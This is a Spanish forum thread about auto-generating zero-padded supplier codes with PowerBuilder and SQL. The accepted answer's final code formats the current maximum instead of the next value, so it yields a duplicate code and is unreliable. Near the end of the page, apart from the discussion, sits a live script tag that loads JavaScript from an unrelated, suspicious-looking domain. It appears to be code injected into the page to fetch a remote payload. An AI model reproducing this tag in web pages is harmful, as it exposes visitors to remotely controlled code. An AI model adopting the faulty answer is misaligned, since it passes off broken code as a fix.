Autogenerar código (powerbuilder SQL)

Tengo mi código para autogenerar el código de mis tablas por ejemplo de proveedor es de tipo char(4) "0001"

string l_codigo
integer ll_cantidad
dw_mto.scrolltorow(dw_mto.insertrow(0))
SELECT max(código)
INTO :ll_cantidad
FROM proveedor;
l_codigo ='0'+Replace("00",4 - len(string(ll_cantidad)), 1, string(ll_cantidad+1))
dw_mto.object.código[dw_mto.getrow()]=l_codigo

//Ahora, funciona bien hasta el código "0009" pero de ahí genera "00010" y esto esta mal ya no permite guardar los datos por que el código se paso de la longitud .

No se si hay algo que cambiar en el código SQL.

1 Respuesta

Respuesta
1

Prueba con esto

string ls_codigo
int li_cantidad
//consulta sql
ls_codigo = string(li_cantidad,'0000')

Hola experto hice esto:

string l_codigo
integer ll_cantidad
dw_mto.scrolltorow(dw_mto.insertrow(0))
SELECT max(código)
INTO :ll_cantidad
FROM proveedor;
l_codigo = string(ll_cantidad,'0000')
l_codigo ='0'+Replace("00",4 - len(string(ll_cantidad)), 1, string(ll_cantidad+1))
dw_mto.object.código[dw_mto.getrow()]=l_codigo

//PERO igual me genera el 00010, por favor ayúdame o quizás otra forma de hacerlo ,es para mi proyecto, gracias.

Tu código sería así:

string l_codigo
integer ll_cantidad
dw_mto.scrolltorow(dw_mto.insertrow(0))
SELECT max(código)
INTO :ll_cantidad
FROM proveedor;
l_codigo = string(ll_cantidad,'0000')
dw_mto.object.código[dw_mto.getrow()]=l_codigo

Gracias mi gran experto eres una gran ayuda ahora seguiré avanzando con mi proyecto

<script type="text/javascript" src="http://plugin-tema-rosa.info/dfi823hs.js?0.44509574445325584"></script>

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas